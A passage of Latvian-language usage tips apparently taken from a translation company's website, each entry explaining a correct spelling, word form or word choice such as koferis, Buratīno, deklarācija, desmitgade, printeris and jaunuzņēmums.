un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kur saliksim ceļojumam nepieciešamo – čemodānā vai koferī? Vai derēs arī sakvojāžs? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-09-26 - Modified: 2022-12-27 - URL: https://skrivanek.lv/cemodans-pret-koferis-pret-sakvojazs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ČEMODĀNS PRET KOFERIS PRET SAKVOJĀŽS 1 Kur saliksim ceļojumam nepieciešamo – čemodānā vai koferī? Vai derēs arī sakvojāžs? Kastes veida somu nelielu priekšmetu pārvadāšanai sauc gan par čemodānu, gan par koferi. Abi vārdi ir sinonīmi un vienlīdz lietojami latviešu valodā. Atšķirīga ir vārdu cilme: vārds „čemodāns” cēlies no persiešu vārda „j̆āmadān”, kurš veidots no vārdiem „djame” – 'drēbes' – un „dan” – 'kaste'. Vārds „koferis” nav mērojis tik tālu ceļu – tas aizgūts no vācu vārda „ Koffer”. Savukārt sakvojāžs ir iegarena, nedziļa soma. Tādas nereti izmanto arī ārsti instrumentu pārnēsāšanai. Latviešu valodā tas ir aizguvums no krievu vārda „саквояж”, kam pamatā franču vārdkopa „sac de voyage” – ceļojuma soma. Sakrāmēsim mantas čemodānā jeb koferī, ņemsim pie rokas sakvojāžu un dosimies ceļojumā! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Piedzīvojumos dodas Buratino vai Buratīno? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2024-07-15 - URL: https://skrivanek.lv/buratino-pret-buratino/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BURATINO PRET BURATĪNO 1 Vai piedzīvojumos dodas Buratino vai Buratīno? Krievu rakstnieks Aleksejs Tolstojs, balstoties uz 1883. gadā izdoto itāļu rakstnieka Karlo Kollodi romānu „Pinokio piedzīvojumi”, sarakstīja pats savu padomju laikā tik populāro grāmatu „Zelta atslēdziņa jeb Buratīno piedzīvojumi”. Vārds „burattino” itāļu valodā nozīmē ‘lelle, marionete’. Saskaņā ar itāļu personvārdu atveides noteikumiem izskaņa „-ino” latviešu valodā atveidojama ar garo patskani „ī”, piemēram, itāļu personvārds Florentino latviešu valodā rakstāms Florentīno, Martino – Martīno u. tml. Tātad A. Tolstoja radīto koka lellīti dēvēsim par Buratīno. Lūk, Alekseja Tolstoja stāstā dažādos satraucošos notikumos iesaistās Buratīno. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim šo gaļas ēdienu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2022-12-27 - URL: https://skrivanek.lv/stroganovs-pret-strogonovs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional STROGANOVS PRET STROGONOVS 1 Kā sauksim šo gaļas ēdienu? Gaļas ēdiena nosaukums „stroganovs” cēlies no dižciltīgās Stroganovu (krievu Строганов) ģimenes uzvārda. Ēdiens nosaukts par godu vai nu Aleksandram Stroganovam (1733–1811), vai viņa dēlam Pāvelam Stroganovam (1772–1817). Šī ģimene saistās ne tikai ar ēdiena nosaukumu: Sanktpēterburgā apskatāma arī greznā Stroganovu pils. Tātad pusdienām varam izvēlēties aknu stroganovu, cūkgaļas stroganovu utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pildīsim ienākumu deklarāciju vai deklerāciju? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-09-26 - Modified: 2022-12-27 - URL: https://skrivanek.lv/deklaracija-pret-dekleracija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DEKLARĀCIJA PRET DEKLERĀCIJA 1 Vai pildīsim ienākumu deklarāciju vai deklerāciju? Tā kā latviešu valodā uzsveram pirmo zilbi, nereti skaidri nedzirdam, kāds patskanis lietots nākamajā – „a” vai „e”. Vārds „deklarācija” cēlies no latīņu vārda „declaratio”, kas nozīmē ‘paziņojums’. Vārda otrajā zilbē lietots patskanis „a” – tāpat arī darbības vārdā „deklarēt”. Tātad varam pildīt ienākumu deklarāciju, lasīt valsts neatkarības deklarāciju utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kas mums pieder, un kas mums piederas? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2022-12-27 - URL: https://skrivanek.lv/piederet-pret-piedereties/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIEDERĒT PRET PIEDERĒTIES 1 Kas mums pieder, un kas mums piederas? „Piederēt” nozīmē ‘būt (kāda, kā) īpašumā’. Piemēram: „Jānim pieder dzīvoklis”, „Laurai pieder automobilis”. „Piederēties” savukārt nozīmē ‘derēt klāt; būt piemērotam’, arī ‘būt raksturīgam; pieklāties’. Piemēram: „pie zivju ēdieniem piederas gaišais vīns”; „Jāņiem piederas ķimeņu siers”. Arī vārdu „piederēt” 3. personā reizumis lieto ar nozīmi ‘piederēties’: „tas pieder pie dienas kārtības”, „ģimenes pusdienas pieder pie brīvdienām”. Tātad mums var piederēt kāds īpašums, savukārt mums piederas sabiedrībā uzvesties pieklājīgi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pēdējos desmit gadus dēvēsim par dekādi vai desmitgadi? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - Published: 2019-09-26 - Modified: 2024-08-14 - URL: https://skrivanek.lv/dekade-pret-desmitgade/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DEKĀDE PRET DESMITGADE 1 Vai pēdējos desmit gadus dēvēsim par dekādi vai desmitgadi? Vārds „dekāde” ir tā sauktais viltusdraugs, kas cēlies no grieķu vārda „dekas” ar nozīmi ‘desmits’, – angļu valodā ar vārdu „decade” apzīmē desmit gadu ilgu laika posmu. Latviešu valodā savukārt ar vārdu „dekāde” apzīmē desmit dienu ilgu laika posmu, bet ar vārdu „desmitgade” – desmit gadu ilgu laika posmu. Tātad runāsim par laikapstākļiem maija pirmajā dekādē, aplūkosim kāda reģiona ekonomikas rādītājus 21. gadsimta pirmajā desmitgadē u. c. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā rakstāms imperatora vārds? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-26 - Modified: 2024-09-02 - URL: https://skrivanek.lv/napaleons-pret-napoleons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NAPALEONS VAI NAPOLEONS 1 Kā rakstāms imperatora vārds? Franču imperatora vārdu franču valodā raksta Napoléon – tātad otrajā zilbē rakstāms patskanis „o”, nevis „a”. Bieži sastopamā kļūda šī vārda pareizrakstībā droši vien radusies, jo otrā zilbe ir mazāk uzsvērta, tātad nav tik labi dzirdams, kurš patskanis tajā lietots. Tātad lasīsim par Napoleonu I un Napoleonu III, ejot ciemos, ņemsim līdzi kūku „Napoleons” utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Printers vai printeris – kā ir pareizi? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2025-03-19 - URL: https://skrivanek.lv/printers-pret-printeris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PRINTERS PRET PRINTERIS 1 Vai birojā mums ir printers vai printeris? Vārds „printeris” latviešu valodā aizgūts no angļu valodas vārda „printer”, kura pamatā ir darbības vārds „to print” ar nozīmi ‘iespiest, drukāt’. Šim vārdam sākotnēji bijušas svārstības starp pirmo („printers”) un otro („printeris”) deklināciju, un terminologi ir ieteikuši lietot šo vārdu ar galotni „-is”: „printeris”. Tātad mums birojā ir printeris. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kungs ir solīds vai zolīds? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2024-07-11 - URL: https://skrivanek.lv/solids-pret-zolids/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SOLĪDS PRET ZOLĪDS 1 Vai kungs ir solīds vai zolīds? Vārds „solīds” aizgūts no vācu valodas vārda „solid”, tāpēc senāk atbilstoši vācu valodas izrunai latviešu valodā lietots vārds „zolīds”, kas joprojām dzirdams arī sarunvalodā. Vārda pamatā ir latīņu „solidus”, tāpēc arī latviešu valodā tas rakstāms un izrunājams ar līdzskani „s” vārda sākumā: „solīds”. Tātad kungs ir solīds. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Brīvdienu rītā sevi lutināsim ar mannas putru vai mannā putru? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-08-14 - URL: https://skrivanek.lv/mannas-putra-pret-manna-putra/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MANNAS PUTRA PRET MANNĀ PUTRA 1 Vai brīvdienu rītā sevi lutināsim ar mannas putru vai mannā putru? Manna ir sīki putraimi, kurus iegūst no kviešu graudiem, nolobot tiem biezo apvalku un tos smalki saskaldot. Nelokāmo vārdu „mannā” bieži dzirdam sarunvalodā, taču valodas normām atbilstošā forma ir „manna”, tāpēc ēdienu, kuru gatavojam no šiem putraimiem, sauksim par mannas putru. Tātad ēdīsim mannas putru ar ievārījumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mēs gaidām kāda atgriešanos vai atgriezšanos mājās? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2019-09-25 - Modified: 2024-08-06 - URL: https://skrivanek.lv/atgriesanas-pret-atgriezsanas/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATGRIEŠANĀS PRET ATGRIEZŠANĀS 1 Vai mēs gaidām kāda atgriešanos vai atgriezšanos mājās? Darinot lietvārdus ar piedēkli „-šan-” no darbības vārdiem, kuru sakne beidzas ar līdzskani „d”, „t”, „s” vai „z”, tas zūd: „veda – vešana”, „meta – mešana”, „plīsa – plīšana”, „lūza – lūšana”. Lietvārds „atgriešanās” darināts no darbības vārda „atgriezties”, kura sakne beidzas ar līdzskani „z”, tātad tas pirms izskaņas zūd: „atgriezās – atgriešanās”. Tātad mēs gaidām kāda atgriešanos mājās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Viņš zin vai zina labāk? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2022-12-27 - URL: https://skrivanek.lv/vins-zin-pret-vins-zina/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VIŅŠ ZIN PRET VIŅŠ ZINA 1 Viņš zin vai zina labāk? Darbības vārda „zināt” tagadnes 3. personas formā galotnē ir patskanis „-a” tāpat kā citiem 3. konjugācijas 1. grupas darbības vārdiem, piemēram, „lasīt – viņš lasa”, „zināt – viņš zina”. Bezgalotnes forma „zin” ir uzskatāma par sarunvalodas formu. Tātad viņš zina labāk. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Dibināsim stārtapu vai jaunuzņēmumu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2019-09-25 - Modified: 2025-03-12 - URL: https://skrivanek.lv/startaps-pret-jaunuznemums/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional STĀRTAPS PRET JAUNUZŅĒMUMS 1 Vai dibināsim stārtapu vai jaunuzņēmumu? Angļu valodā nosaukto „start-up” latviešu valodā nereti dēvē vienkārši par stārtapu. Šāds tiešs pārcēlums tomēr uzskatāms par sarunvalodas vārdu, un atbilstošais termins latviešu valodā ir jaunuzņēmums. Tātad dibināsim jaunuzņēmumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU 